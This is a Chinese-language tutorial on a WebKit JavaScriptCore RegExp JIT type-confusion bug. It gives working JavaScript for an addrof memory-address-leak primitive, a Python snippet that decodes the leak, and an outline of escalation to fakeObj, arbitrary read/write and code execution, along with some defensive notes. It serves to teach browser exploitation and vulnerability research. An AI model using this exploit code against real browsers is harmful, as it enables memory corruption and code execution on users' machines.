WebKit RegExp Exploit addrof() walk-through - browser 0x04
字数 1273 2025-08-05 08:20:09
WebKit RegExp Exploit addrof() 原理解析与利用教程
1. 漏洞概述
本文详细分析WebKit JavaScript引擎中正则表达式(RegExp)实现的一个漏洞,该漏洞允许攻击者通过精心构造的JavaScript代码泄露任意JavaScript对象的内存地址。漏洞的核心在于JIT优化过程中对正则表达式lastIndex属性副作用检查不充分,导致类型混淆。
2. 环境准备
2.1 调试环境设置
# 设置动态加载器框架路径
export DYLD_FRAMEWORK_PATH=~/sources/WebKit.git/WebKitBuild/Debug
# 启用DFG编译时间报告
export JSC_reportDFGCompileTimes=true
# 启用DFG优化时源代码转储
export JSC_dumpSourceAtDFGTime=true
2.2 测试脚本
创建test.js文件用于验证漏洞:
// 地址泄露函数
function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;
function getarray() { return array; }
var AddrGetter = function(array) {
array = getarray();
reg[Symbol.match](val === null);
return array[0];
};
// 强制JIT优化
for (var i = 0; i < 10000; ++i) AddrGetter(array);
// 设置漏洞利用
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
return AddrGetter(array);
}
// 测试对象
object = {};
print("对象描述:", describe(object));
print("泄露地址:", addrofInternal(object));
3. 漏洞原理分析
3.1 关键组件
- ArrayWithDouble:存储双精度浮点数的数组结构
- ArrayWithContiguous:存储对象引用的数组结构
- DFG/FTL JIT:WebKit的优化编译器
3.2 漏洞触发流程
- 初始状态:创建包含双精度浮点数(13.37)的数组
- JIT优化:通过高频调用
AddrGetter触发DFG/FTL优化 - 类型假设:优化后的代码假设数组始终包含双精度浮点数
- 副作用触发:通过
lastIndex.toString修改数组内容为对象引用 - 类型混淆:优化代码仍以双精度浮点数方式读取对象指针
3.3 关键代码路径
// builtins/RegExpPrototype.js
@overriddenName = "[Symbol.match]"
function match(strArg) {
...
if (!@hasObservableSideEffectsForRegExpMatch(this))
return @regExpMatchFast.@call(this, str);
return @matchSlow(this, str);
}
补丁添加的检查:
return typeof regexp.lastIndex !== "number";
4. 漏洞利用详解
4.1 地址泄露原语(addrof)
function addrof(val) {
for (var i = 0; i < 100; i++) {
var result = addrofInternal(val);
if (typeof result != "object" && result !== 13.37) {
return result;
}
}
throw "地址泄露失败";
}
4.2 地址解码
泄露的地址以双精度浮点数形式返回,需转换为十六进制:
import struct
leak = 5.36780059573437e-310
hex(struct.unpack("Q", struct.pack("d", leak))[0])
# 输出: '0x62d0000d4080'
4.3 利用步骤分解
- 创建初始数组:
var array = [13.37] - 定义Getter函数:包含会被JIT优化的正则匹配操作
- 强制JIT优化:高频调用Getter函数
- 设置lastIndex钩子:通过toString修改数组内容
- 触发漏洞:执行优化后的Getter函数
5. 防御措施
- 确保所有可能产生副作用的操作都经过
hasObservableSideEffects检查 - 对
lastIndex属性访问添加适当的类型检查 - 在JIT优化过程中考虑所有可能的类型转换路径
6. 扩展利用
基于此原语可构建更复杂的利用链:
- fakeObj原语:将泄露的地址转换回对象
- 任意内存读写:通过伪造数组结构实现
- 代码执行:覆盖函数指针或JIT代码
7. 参考资料
- WebKit源码:
builtins/StringPrototype.js - WebKit源码:
builtins/RegExpPrototype.js - WebKit源码:
DFGAbstractInterpreterInlines.h - 原始漏洞报告:https://liveoverflow.com/webkit-regexp-exploit-addrof-walk-through-browser-0x04/
8. 总结
该漏洞展示了JIT优化过程中类型系统与副作用处理的复杂性,通过精心构造的正则表达式操作,攻击者可以绕过类型检查实现地址泄露。理解此类漏洞有助于开发者编写更安全的JIT编译器,也为安全研究人员提供了浏览器漏洞挖掘的新思路。